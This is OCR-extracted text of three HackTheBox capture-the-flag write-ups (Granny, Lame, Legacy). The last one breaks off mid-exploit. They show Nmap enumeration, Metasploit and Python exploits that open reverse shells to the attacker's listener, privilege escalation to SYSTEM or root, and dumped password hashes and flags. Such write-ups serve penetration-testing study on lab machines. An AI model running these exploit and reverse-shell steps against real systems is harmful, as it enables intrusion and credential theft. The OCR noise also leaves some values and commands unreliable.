Reason: 999 no-responses
PORT  STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL
-~ LOCK UNLOCK PUT POST
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK
< UNLOCK PUT
| _http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
|  WebDAV type: Unkown
|  Server Type: Microsoft-IIS/6.0
|  Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH,
-~ SEARCH, MKCOL, LOCK, UNLOCK
|  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND,
. PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Date: Mon, 04 Nov 2019 21:36:04 GMT

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap dome at Mon Nov 4 13:35:58 2019 -- 1 IP address (1 host up) scanned in 21.97 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

- openports

B Port Protocol Service Scans
./results/10.10.10.15/scans/tcp_80_http_gobuster.txt
./results/10.10.10.15/scans/tcp_80_http_nikto.txt

1. 80/tcp http ttl 127 Microsoft IIS httpd 6.0 ./results/10.10.10.15/scans/tcp_80_http_nmap.txt
./results/10.10.10.15/scans/tcp_80_http_robots.txt
./results/10.10.10.15/scans/tcp_80_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. We look for IIS 6.0 vulnerabilities and find multiple WebDAV related hits:


https://github.com/Tib3rius/AutoRecon

root@kali: ~/toolbox/data/writeups/hth.granny # ss microsoft iis 6.0

Exploit Title | Path
| (/usr/share/exploitdb/)
4.0/5.0/ - Internal IP Address/Internal Network Name Disclosure | exploits/windows/remote/21057.txt
5.0/ FTP Server - Stack Exhaustion Denial of Service | exploits/windows/dos/9587.txt
5.0/ FTP Server (Windows 2000) - Remote Stack Overflow | exploits/windows/remote/9541.pl
/7.5 (+ PHP) - Multiple Vulnerabilities | exploits/windows/remote/19033.txt
- ASP Stack Overflow Stack Exhaustion (Denial of Service) (MS10-065) | exploits/windows/dos/15167.txt
- '/AUX / '.aspx' Remote Denial of Service | exploits/windows/dos/3965.pl
- WebDAV Remote Authentication Bypass (1) | exploits/windows/remote/8704.txt
- WebDAV Remote Authentication Bypass (2) | exploits/windows/remote/8806.pl
- WebDAV Remote Authentication Bypass (Patch) | exploits/windows/remote/8754.patch
- WebDAV Remote Authentication Bypass (PHP) | exploits/windows/remote/8765.php
- WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow | exploits/windows/remote/41738.py
Shellcode: No Result
root@kali: ~/toolbox/data/writeups/hth.granny #

Figure 4: writeup.enumeration.steps.3.1

Findings
Open Ports
80/tcp | http | Microsoft IIS httpd 6.0



Phase #2: Exploitation

1. We decide to use the Metasploit windows/iis/iis_webdav_upload_asp exploit and it successully gives us a
Meterpreter shell:

msf exploit(windows/iis/iis webdav_upload_asp) > show options

Module options (exploit/windows/iis/iis_webdav_upload asp)

Name Current Setting Required Description

HttpPassword no The HTTP password to specify for authentication

HttpUsername no The HTTP username to specify for authentication

METHOD move yes Move or copy the file on the remote system from .txt -> .asp (Accepted: move, copy)
PATH /metasploit%RAND%.asp yes The path to attempt to upload

Proxies no A proxy chain of format type:host:port[,type:host:port]l[...]

RHOST 10.10.106.15 yes The target address

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

VHOST no HTTP server virtual host

Exploit target:

Id Name

0  Automatic

msf exploit(windows/iis/iis_webdav_upload_asp) >
msf exploit(windows/iis/iis_webdav_upload_asp) = exploit

[*] Started reverse TCP handler on 10.10.14.26:4444
[*] Checking /metasploit9517572.asp
[*] Uploading 610918 bytes to /metasploit9517572.txt...
[*] Moving /metasploit9517572.txt to /metasploit9517572.asp...
[*] Executing /metasploit9517572.asp...
[*] Deleting /metasploit9517572.asp (this doesn't always work)...
[*] Sending stage (179779 bytes) to 10.10.10.15
Deletion failed on /metasploit9517572.asp [403 Forbidden]
[*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.10.10.15:1030) at 2019-11-04 14:09:21 -0800

meterpreter > getuid

[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
meterpreter =

Figure 5: writeup.exploitation.steps.1.1
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meterpreter = sy51nfo

Computer : GRANNY

0s : Windows .MNET Server (Build 3798, Service Pack 2).
Architecture : x86

System Language : en_US

Domain : HTB

Logged On Users : 3

Meterpreter : XB6/windows

meterpreter =

meterpreter =

meterpreter = pwd
c:\windows\system32\inetsrv
meterpreter =

meterpreter =

meterpreter = shell

[-] Failed to spawn shell with thread impersonation.

Process 896 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3798]

(C) Copyright 1985-2003 Microsoft Corp.

c:Zwindows\system32\inetsrv=whoami
whoami
nt authority\network service

Figure 6: writeup.exploitation.steps.1.2

Phase #2.5: Post Exploitation

ntauth/network@GRANNY> id
NT AUTHORITY\NETWORK SERVICE
ntauth/network@GRANNY>
ntauth/network@GRANNY> uname

Computer : GRANNY

0s : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86

System Language : en_US

Domain : HTB

Logged On Users : 3

Meterpreter : x86/windows

ntauth/network@GRANNY>

ntauth/network@GRANNY> ifconfig

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix

IP Address. . . . . . . . . . . . :10.10.10.15
Subnet Mask . . . . . . . . . . . : 2565.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.2

ntauth/network@GRANNY>
ntauth/network@GRANNY> users
Administrator

Lakis

Retrying without it.



Phase #3: Privilege Escalation

1. Since we have certain restrictions that stop us from running commands like getuid, we have to migrate to a

different process. We find the PID for process davcdata.exe and migrate to it:

2548 1456 w3wp.exe %86 0] NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
2616 592 davcdata.exe X86 0] NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
2840 1456 w3wp.exe

2984 348 logon.scr

3600 2548 svchost.exe xB86 ¢} C:\WINDOWS\Temp\ rad8321F. tmp\svchost.exe

3924 592 davcdata.exe

meterpreter =

meterpreter =

meterpreter = migrate 2616

[*] Migrating from 3660 to 2616...

[*] Migration completed successfully.
meterpreter =

meterpreter =

meterpreter = getuid

Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter =

Figure 7: writeup.privesc.steps.1.1

2. We can now use the Metasploit multi/recon/local_exploit_suggester module to look for privesc options:

msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local exploit suggester):

Name Current Setting Required Description
SESSION 1 yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
msf post(multi/recon/local_expleit_suggester) >
msf post(multi/recon/local_exploit_suggester) =
msf post(multi/recon/local_expleit_suggester) > run
[*] 10.10.10.15 - Collecting local exploits for x86/windows. ..
[*] 10.10.10.15 - 39 exploit checks are being tried...
10.10.10.15 - exploit/windows/local/ms1l® @15 kitrap®d: The target service is running, but could not be validated.
10.10.10.15 - exploit/windows/local/ms14 058 track popup menu: The target appears to be vulnerable.
10.10.10.15 - exploit/windows/local/msl4 070 tcpip ioctl: The target appears to be vulnerable.
10.10.10.15 - exploit/windows/local/ms15 @51 client copy_image: The target appears to be vulnerable.
10.10.10.15 - exploit/windows/local/msl6_0816 webdav: The target service is running, but could not be validated.
10.10.10.15 - exploit/windows/local/ms16 032 secondary logon handle privesc: The target service is running, but could not be validated.
[+] 10.10.10.15 - exploit/windows/local/ppr flatten rec: The target appears to be vulnerable.
[*] Post module execution completed
msf post(multi/recon/local_exploit_suggester) >

Figure 8: writeup.privesc.steps.2.1

3. We tried a few exploits from this list and eventually the windows/local/ms15_051_client_copy_image module

worked and provided an elevated session:



msf exploit(windows/local/msl5 851 client copy image) > show options
Module options (expleoit/windows/local/msl5 851 client copy image):

Name Current Setting PRequired Description

SESSION 1 yes The session to run this module on.

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.26 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

o] Windows x86

msf exploit{windows/local/msl5 051 client copy_ image) >

Figure 9: writeup.privesc.steps.3.1



msf exploit(windows/local/msl5 051 client copy image) > exploit

[*] Started reverse TCP handler on 10.10.14.26:4444

[*] Launching notepad to host the exploit...

[+] Process 1996 launched.

[*] Reflectively injecting the exploit DLL into 1996...

[#] Injecting exploit into 1996...

[*] Exploit injected. Injecting payload into 1996...

[*] Payload injected. Executing exploit...

[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.

[*] sending stage (179779 bytes) to 10.10.10.15

[*] Meterpreter session 2 opened (10.10.14.26:4444 -> 10.10.160.15:1832) at 2619-11-04 14:17:68 -08880

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter =

meterpreter > sysinfo

Computer : GRANNY

0s : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : XB6

System Language : en US

Domain : HTB

Logged On Users : 3

Meterpreter : XB6/windows

meterpreter =

meterpreter > shell
Process 2444 created.

Channel 1 created.
Microsoft Windows [Version 5.2.3798]
(C) Copyright 1985-2803 Microsoft Corp.

C:\WINDOWS\system32>

C:\WINDOWSY\system32=whoami
whoami
nt authority\system

C:\WINDOWS\system32>

Figure 10: writeup.privesc.steps.3.2

4. We then obtain further information about the system and read the contents of both user.txt and root.txt files
to comeplete the challenge:

cat "C:\Documents and Settings\Lakis\Desktop\user.txt"
cat "C:\Documents and Settings\Administrator\Desktop\root.txt"

meterpreter = cat "C:\Documents and Settings\Lakis\Desktop\user.txt"
700c5dcl63014e22b3e408f8703T67d1lmeterpreter =

meterpreter =
meterpreter = cat "C:\Documents and Settings:\Administrator\Desktop\root.txt"

aadbeedlco584445ab463a6747bd06e9meterpreter =
meterpreter =

Figure 11: writeup.privesc.steps.4.1
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Loot
Hashes

Administrator:500:c74761604a24f0dfd0a9ba2c30e462cf :d6908£022af0373e9e........ ...t
ASPNET:1007:3£f71d62ec68a06a39721cb3f54£04a3b:edc0d5506804653£f589................
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c. . ...... ... ...
TUSR_GRANPA:1003:a274b4532c9cabcdf684351fab962e86:6a981cb5e038b2d8b7. .. ... vvvn...
IWAM_GRANPA:1004:95d112c4da2348b599183ac6b1d67840:297£39734c21b3f615.................
Lakis:1009:£927b0679b3cc0e192410d9b0b40873¢c:3064b6£c432033870¢c6. .. ... vvn..
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:8ed3993efbdeb476e. . ... .cvvvinvn. ..

Flags

C:\Documents and Settings\Lakis\Desktop\user.txt: 700c5dc163014e22................
C:\Documents and Settings\Administrator\Desktop\root.txt: aadbeedlc05844..................

References

[+] https://www.hackthebox.eu/home/machines/profile/14
[+] https://marcelowoloszyn.cl/hackthebox /hack-the-box-write-up-granny/
[+] https://reboare.github.io/hackthebox /htb-granny.html
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[HackTheBox]| Lame

Date: 01/Nov/2019
Categories: oscp, htb, linux
Tags: exploit_smb_ usermap

Overview
This is a writeup for HackTheBox VM Lame. Here are stats for this machine from machinescli:

machinescli -t --info lame

Figure 1: writeup.overview.machinescli

Killchain
Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[HTB] Lame
110.10.10.3

Y
Phase #1: Enumeration ‘

Y

Y Y
139/tcp « | 445/tcp 21/tcp 22/tcp
] L L l —
Y Y Y

.'tmp: read+write share with anonymous access | samba 3.0.20-Debian ‘vsf'tpd 2.3.4‘ 'anonymous login allowed

Y l hd h

'nothing interesting, no way to leverage uploaded files  Phase #2: Exploitation ‘nothing interesting here

Y Y

cve-2007-2447 | exploit/unix/ftp/vsftpd_234 backdoor

Y
no session

Y
smb usermap_script exploit

Y
nc (root)

I

user.txt root.txt

Figure 2: writeup.overview.killchain

TTPs
1. 139/tcp/netbios-ssn/Samba smbd 3.X - 4.X (workgroup: WORKGROUP): exploit_smb_ usermap


https://www.hackthebox.eu/home/machines/profile/1
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_smb_usermap&unscoped_q=exploit_smb_usermap
https://www.hackthebox.eu/home/machines/profile/1
https://github.com/7h3rAm/machinescli
https://github.com/7h3rAm/writeups#exploit_smb_usermap
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Nov 1 12:30:13 2019 as: mmap —vv —--reason —Pn -sV -sC
o —-wversion-all -olN
o /root/toolboz/writeups/htb. lame/results/10.10.10.3/scans/_quick_tcp_nmap.tzt -oX
s /root/toolboz/writeups/htb. lame/results/10.10.10.3/scans/zml/_quick_tcp_nmap.zml 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.26s latency).
Scanned at 2019-11-01 12:30:13 PDT for 94s
Not shown: 996 filtered ports
Reason: 996 no-responses

PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:

|  STAT:

| FTP server status:
| Connected to 10.10.14.18
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
| _End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaClkc3MAAACBALz4hsc8a25rq4nlW960qV8xwBGOJC+]jI7fWxmBMETIJHAtKr/ |
= xUTwsTYEYnaZLzc0iy21D3ZvOwYb6AA37652dgCd2Tgand 7TFOYD5UtXG7b7£bz99chReivLOSIWEG/E96AL+
< PpqYMP2WD5Ka0JwSIXSUajnUSoWmY5x85sBw+XDAAAAF(DFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+,
< QJIFa3M0oLqCVWIOWe/ARtXrzpB0J/dtOhTJXCeYisKqcdwdtyIn80UCOyrIjqNuA2QW2170Q6wXpbFh+
~ 5AQm8H13b6CE081X3Ptw+Y4dp0lzfWHWZ/ |
= jzHwtuaDQaok7ulf9711EazeJLqfiWrAzoklqSWyDQJAAAATA11AD3xWYkeIeHv/R3P9i+
= XaoI7imFkMuYXCDTq843YU6Td+OmWpllCqAWUV/
< CQamGgQLtYy550ueoks01MoKdOMMhKVwqdr08nvCBdNK jIEd3gH60Bk/YRnjzx1EAYBsvCmM4a0 jmhz0oNiRWlc/F+
< bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:£3 (RSA)
| _ssh-rsa
< AAAAB3NzaClyc2EAAAABIWAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjte0fc65T1I7sRvQBwqAhQjeeyyIk8T55gMD
< +nkRhij7XSSA/0c5QSk3sJ/SInfb78e3anbRHpmk JcVgET JSWhKObUNE 1AKZW++
o 4X1063M4KI5cjvMMIPEVDyR3AKmI78F03HJjYucg87JjLeCGGI7+d1EYX62T8i1XYwa/L1vZSqSJISGVu8kRPikMV/J
< cNSvki4j+gDYyZ2E5497W87+Ed46/8P42LNGo0V80cX/ro6pAcbEPUdUELfkJrqi2YXbhvwIJOgFMb6wfebcnQew==
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

| _clock-skew: mean: 4hOOm15s, deviation: Os, median: 4hOOm15s
| p2p-conficker:

| Checking for Conficker.C or higher...

|  Check 1 (port 59488/tcp): CLEAN (Timeout)

|  Check 2 (port 22727/tcp): CLEAN (Timeout)

|  Check 3 (port 47197/udp): CLEAN (Timeout)



Check 4 (port 40169/udp): CLEAN (Timeout)

39

40 0/4 checks are positive: Host is CLEAN or ports are blocked
41 smb-os-discovery:

2 0S: Unix (Samba 3.0.20-Debian)

I
I_
I
I
43 |  NetBIOS computer name:
|  Workgroup: WORKGROUP\x00
I_
|
|

44

45 System time: 2019-11-01T15:31:21-04:00

46 _smb2-security-mode: Couldn't establish a SMBv2 connection.
47 |_smb2-time: Protocol negotiation failed (SMB2)

48

49 Read data files from: /usr/bin/../share/nmap
so Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
51 # Nmap done at Fri Nov 1 12:31:47 2019 -- 1 IP address (1 host up) scanned in 93.91 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

»~ openports

# Port Protocol Service Scans

1. 21/tecp ftp ttl 63 vsftpd 2.3.4 ./results/10.10.10.3/scans/tcp_21_ftp_nmap.txt

2.  22/tcp sst ttl 63 OpenSSH 4.7pl Debian Subuntul (protocol 2.8) /results/10.10.10.3/scans/tcp_22_ssh_nmap.txt

3.
./results/10.10.10.3/scans/enum4linux. txt

4. 445/tcp netbios-ssn  ttl 63 Samba smbd 3.8.28-Debian (workgroup: WORKGROUP) ./results/10.10.10.3/scans/smbclient. txt
./results/10.10.10.3/scans/tcp_445_smb_nmap.txt

5% 3632/tcp  distcecd ttl 63 distccd vl ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) ./results/10.108.10.3/scans/tcp_3632_distcc_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We find that the vsftpd service allows anonymous logins and as such connect to it but don’t find anything
inetresting there. We however find a MSF exploit for the vsftpd version 2.3.4. This exploit failed to obtain a
session:

. ftp 10.10.10.3

2> msfconsole

3 use exploit/unix/ftp/vsftpd_234_backdoor
4 set RHOST 10.10.10.3

5 show options

6 exploit


https://github.com/Tib3rius/AutoRecon

root@kali: ~/toolbox/data/writeups/htbh.lame # ftp 198.18.18.3
Connected to 10.10.108.3.

220 (vsFTPd 2.3.4)

Name (10.10.10.3:root): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> dir

208 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

226 Directory send OK.

ftp> 1s

208 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

226 Directory send OK.

ftp>

Figure 4: writeup.enumeration.steps.3.1

msf exploit(unix/ftp/vsftpd_234 backdoor) > show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description

RHOST 10.10.10.3 yes The target address
RPORT 21 yes The target port (TCP)

Exploit target:

Id Mame

4] Automatic

msf exploit(unix/ftp/vsftpd_234 backdoor) =

msf exploit(unix/ftp/vsftpd 234 backdoor) =

msf exploit(unix/ftp/vsftpd_234 backdoor) > exploit

[#] 1©.18.10.3:21 - Banner: 220 (vsFTPd 2.3.4)

[#] 10.10.18.3:21 - USER: 331 Please specify the password.
[#] Exploit completed, but no session was created.

msf exploit(unix/ftp/vsftpd_234 backdoor) =

Figure 5: writeup.enumeration.steps.3.2



4. We then explore the open (read+write) SMB share tmp but since there is no service (like HTTP for example) to
leverage uploaded files, we move on:

1 smbclient \\\\10.10.10.3\\tmp
2 dir

root@kali: ~/toolbox/data/writeups/htb.lame # smbclient \\\\18.10.10.3\\tmp
WARNING: The "syslog" option is deprecated

Enter WORKGROUP\root's password:

Anonymous login successful

Try "help" to get a list of possible commands.

smb: \> dir

5 D 8 Fri Nov 1 12:39:14 2019
wik DR @ Sun May 20 11:36:12 2012
.ICE-unix bDH 8 Fri Nov 1 12:02:41 2019
X11-unix DH ® Fri Nov 1 12:03:06 2019
.X0-lock HR 11 Fri Nov 1 12:03:86 2819
5142.jsvc up R 8 Fri Nov 1 12:83:50 2019

7282168 blocks of size 1024. 5678788 blocks available

smb: \> ~C
root@kali: ~/toolbox/data/writeups/htb.lame #
Figure 6: writeup.enumeration.steps.4.1
Findings
Open Ports
1 21/tcp | ftp | vsftpd 2.3.4
2 22/tcp | ssh | OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
s 139/tcp | mnetbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
4+ 445/tcp | netbios-ssn | Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)



Phase #2: Exploitation

1. From the Nmap scan results we know that the SMB service version is 3.0.20-Debian and upon searching for this
version we come across the popular usermap_script exploit. There’s a Python script for this exploit on GitHub.
We follow the exploit instructions and gain a shell with elevated privileges on the target system:

1 nc -nlvp 443
2 python usermap_script.py 10.10.10.3 139 10.10.14.18 443

root@kali: ~/toolbox/data/writeups/htb.lame/CVE-2007-2447 # python usermap_script.py 10.10.16.3 139 10.160.14.18 443
[*] CVE-2007-2447 - Samba usermap script

[+] Connecting !

[+] Payload was sent - check netcat !

root@kali: ~/toolbox/data/writeups/htb.lame/CVE-2007-2447 #

Figure 7: writeup.exploitation.steps.1.1

root@kali: ~/toolbox/data/writeups/htb.lame # nc -nlvp 443
listening on [any] 443

connect to [10.10.14.18] from (UNKNOWN) [10.1©.10.3] 59629
id

uid=0(root) gid=@(root)

uname -a
Linux lame 2.6.24-16-server #1 SMP Thu Apr 16 13:58:00 UTC 2008 1686 GNU/Linux

ifconfig

ethd Link encap:Ethernet HWaddr 00:560:56:b9:15:91
inet addr:10.10.186.3 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:f591/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:f591/64 Scope:Link
UP BROADCAST RUMNING MULTICAST MTU:1580 Metric:1
RX packets:146984 errors:9 dropped:15 overruns:@ frame:0
TX packets:7368 errors:0 dropped:@ overruns:@ carrier:0
collisions:® txqueuelen:1000
RX bytes:9465045 (9.0 MB) TX bytes:1025713 (1001.6 KB)
Interrupt:19 Base address:0x2008

Figure 8: writeup.exploitation.steps.1.2

2. We then read the contents of both user.txt and root.txt files to complete the challenge:

1 cat /home/makis/user.txt
2 cat /root/root.txt

cat /home/makis/user.txt
69454a937d94f5T0225ea0Bacd2e84ch

cat /froot/root.txt
92caac3beld4fef409e45721348ad4e9dTf

Figure 9: writeup.exploitation.steps.2.1


https://github.com/amriunix/CVE-2007-2447
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Phase #2.5: Post Exploitation

root@lame> id

uid=0(root) gid=0(root)

root@lame>

root@lame> uname

Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linuzx

root@lame>

root@lame> ifconfig

ethO Link encap:Ethernet HWaddr 00:50:56:b9:£5:91
inet addr:10.10.10.3 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:£591/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:£591/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:146904 errors:9 dropped:15 overruns:0 frame:0
TX packets:7368 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9465045 (9.0 MB) TX bytes:1025713 (1001.6 KB)
Interrupt:19 Base address:0x2000

root@lame>

root@lame> users

root

makis



Loot
Hashes

Flags

/home/makis/user.txt: 69454a937d94f5f0225ea...........
/root/root.txt: 92caac3bel40ef409e4572..........

References

[+] https://www.hackthebox.eu/home/machines/profile/1
[+] https://hackingresources.com/lame-hackthebox-walkthrough/


https://www.hackthebox.eu/home/machines/profile/1
https://hackingresources.com/lame-hackthebox-walkthrough/

[HackTheBox| Legacy

Date: 01/Nov/2019
Categories: oscp, htb, windows
Tags: exploit_smb_ ms08_ 067

Overview

This is a writeup for HackTheBox VM Legacy. Here are stats for this machine from machinescli:

machinescli -t --info "hackthebox#2"

Difficulty 05 0SCPlike  Owned TTPs

# ID Name Rating

1. hackthebox#2 Legacy ]

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/2
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_smb_ms08_067&unscoped_q=exploit_smb_ms08_067
https://www.hackthebox.eu/home/machines/profile/2
https://github.com/7h3rAm/machinescli

[HTB] Legacy

110.10.10.4 |

Y
‘Phase #1: Enumeration

¥ ¥

, L Y L .
445 /tcp 137 /udp 139/tcp

¥
nmap identified target system as microsoft windows xp

L J

Phase #2: Exploitation

L |

windows/smb/ms08_067_netapi

h J

shell (system/nt)

l _,

user.txt root.txt

Figure 2: writeup.overview.killchain

TTPs

1. 139/tcp/netbios-ssn/Microsoft Windows netbios-ssn: exploit_smb_ms08_067


https://github.com/7h3rAm/writeups#exploit_smb_ms08_067
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Nov 1 14:44:27 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/writeups/htdb. legacy/results/10.10.10.4/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.legacy/results/10.10.10.4/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.4

Nmap scan report for 10.10.10.4

Host is up, received user-set (0.057s latency).

Scanned at 2019-11-01 14:44:28 PDT for 276s

Not shown: 997 filtered ports

Reason: 997 no-responses

PORT STATE SERVICE REASON VERSION

139/tcp open netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds

3389/tcp closed ms-wbt-server reset ttl 127

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows,

< cpe:/o:microsoft:windows_xp

Host script results:
| clock-skew: mean: -3h59m53s, deviation: 1h24m50s, median: -4h59m53s
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:0c:03

< (VMware)
Names:
LEGACY<00> Flags: <unique><active>
HTB<00> Flags: <group><active>
LEGACY<20> Flags: <unique><active>
HTB<1le> Flags: <group><active>
HTB<1d> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
Statistics:

00 50 56 b9 Oc 03 00 00 00 00 OO 00 00 00 00 0O 00

00 00 00 00 00 OO 00 00 00 OO OO OO 00 00 00 00 00

00 00 00 00 00 OO 00 00 00 00 OO0 0O 00 00
p2p-conficker:

Checking for Conficker.C or higher...

Check 1 (port 40600/tcp): CLEAN (Timeout)

Check 2 (port 13850/tcp): CLEAN (Timeout)

Check 3 (port 50902/udp): CLEAN (Timeout)

Check 4 (port 54226/udp): CLEAN (Timeout)

0/4 checks are positive: Host is CLEAN or ports are blocked
smb-os-discovery:

0S: Windows XP (Windows 2000 LAN Manager)

0S CPE: cpe:/o:microsoft:windows_xp::-

Computer name: legacy

NetBIOS computer name: LEGACY\x00

Workgroup: HTB\x00

System time: 2019-11-01T20:44:53+02:00
smb-security-mode:

account_used: <blank>

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
_smb2-security-mode: Couldn't establish a SMBv2 connection.
_smb2-time: Protocol negotiation failed (SMB2)
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Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/

# Nmap done at Fri Nov

1 14:49:04 2019 -- 1 IP address (1 host up) scanned in 276.38 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

v openports

# Port Protocol Service Scans
./results/10.10.10.4/scans/enum&Llinux. txt

1 137/udp  netbios-ns ttl 127 Microsoft Windows netbios-ns (workgroup: HTB) ./results/10.10.10.4/scans/nbtscan.txt
./results/10.10.10.4/scans/udp_137_smb_nmap. txt
/results/10.10.10.4/scan un wx. txt

2. I 11 |

3.

Figure 3: writeup.enumeration.steps.2.1

3. From the Nmap scan results, we find that the target system has SMB service running and is a Windows XP

system:

smb-os-discovery:

0S: Windows XP (Windows 2000 LAN Manager)
0S CPE: cpe:/o:microsoft:windows_xp::-

NetBIOS computer name: LEGACY\x00

Workgroup: HTB\x00

|
|
|
|  Computer name: legacy
|
|
|

Findings

Open Ports

137/udp | netbios-ns
139/tcp | netbios-ssn
445/tcp | microsoft-ds

System time: 2019-11-01T20:44:53+02:00

| Microsoft Windows netbios-ns (workgroup: HTB)
| Microsoft Windows netbios-ssn
| Windows XP microsoft-ds


https://github.com/Tib3rius/AutoRecon

Phase #2: Exploitation

1. For a Microsoft Windows XP system with open SMB, we use the MSF MS08-067 exploit windows/smb/ms08_067_netapi
and gain a shell with elevated privileges on the target system:

msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.4
set LHOST 10.10.14.18
show options
exploit

msf expleoit{windows/smb/ms@8 067 netapi) > show options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOST 10.10.10.4 yes The target address

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVWSVC)

Payload options (windows/shell reverse tcp):

Mame Current Setting Required Description

